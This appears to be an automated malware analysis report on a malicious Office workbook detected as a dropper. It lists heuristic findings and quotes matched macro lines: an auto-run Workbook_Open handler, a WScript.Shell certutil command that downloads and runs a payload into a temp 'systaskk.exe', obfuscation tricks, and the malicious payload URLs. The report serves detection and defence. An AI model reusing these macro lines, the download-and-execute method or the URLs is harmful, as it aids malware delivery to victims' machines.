Malicious Office (OLE) — malware analysis report

Heuristics 15

• ClamAV: Doc.Dropper.Agent-6935438-0 critical CLAMAV_DETECTION
  ClamAV detected this file as malware: Doc.Dropper.Agent-6935438-0
• VBA macros detected medium 10 related findings OLE_VBA_MACROS
  Document contains VBA macro code
• Potential Shell call in VBA critical OLE_VBA_SHELL
  Potential Shell call in VBA
  Matched line in script

  Shell (trfutyjnih)

• WScript.Shell usage critical OLE_VBA_WSCRIPT
  WScript.Shell usage
  Matched line in script

  Set eryd = CreateObject("WScript.Shell")

• LOLBin reference in VBA critical OLE_VBA_LOLBIN
  LOLBin reference in VBA
  Matched line in script

  eryd.Run ("certutil.exe -urlcache -split -f ") & ClipboardText & " " & trfutyjnih, 0, False

• Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
  VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
  Matched line in script

  Set eryd = CreateObject("WScript.Shell")

• VBA stages a PowerShell/LOLBin download-and-run command critical OLE_VBA_BITSTRANSFER_DROPPER
  The macro assembles a download command using a PowerShell or LOLBin download primitive (Start-BitsTransfer, Invoke-WebRequest, Net.WebClient, bitsadmin, certutil, ...) that fetches a remote payload, then executes it -- writing it to a script file and running it, or launching it directly from an auto-exec handler. The keywords are commonly split with PowerShell backtick / cmd caret escapes to evade scanners; this detection de-escapes the source first. A high-confidence downloader/dropper, stronger than the individual Shell / download keywords on their own.
  Matched line in script

  Private Sub Workbook_Open()

• CreateObject call high OLE_VBA_CREATEOBJ
  CreateObject call
  Matched line in script

  Set objHTML = CreateObject("htmlfile")

• Payload URL assembled from a Chr()/Asc() string expression (1 URL) high OLE_VBA_EXPR_DROPPER_URL
  A VBA macro builds its stage-2 download URL character by character from string literals concatenated with Chr()/Asc()/StrReverse() results — often nested (Chr(Asc(Chr(Asc("h")))) = "h") and split across the + and & operators, sometimes written out via Print #n, into a second-stage VBScript/PowerShell file. The URL is assembled at run time and never appears contiguously on disk, and there is no numeric array to brute-force, so a literal scan and the array recoverers both miss it. A bounded expression evaluator resolved it; surfaced as an IOC. Self-validating: only a valid host URL that is not already present verbatim in the macro is reported, so a benign macro cannot false-positive.
• VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
  Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
• Workbook_Open macro low OLE_VBA_WBOPEN
  Workbook_Open macro
  Matched line in script

  Private Sub Workbook_Open()

• Environ() call (env variable access) low OLE_VBA_ENVIRON
  Environ() call (env variable access)
  Matched line in script

  trfutyjnih = Environ$(Replace("trfgmprfg", "rfg", "")) & "\" & Replace("\\systaskk.bbc", "bbc", "exe")

• Reference to Windows Script Host high SC_STR_WSCRIPT
  Reference to Windows Script Host
• Reference to certutil (download/decode) high SC_STR_CERTUTIL
  Reference to certutil (download/decode)
• Embedded URL info EMBEDDED_URL
  One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
  URL http://kosahafager.com/tue/mon.bbc Referenced by macro

  • http://kosahafager.com/tue/mon.exeReferenced by macro

Open this report in the interactive analyzer, or submit your own file for analysis.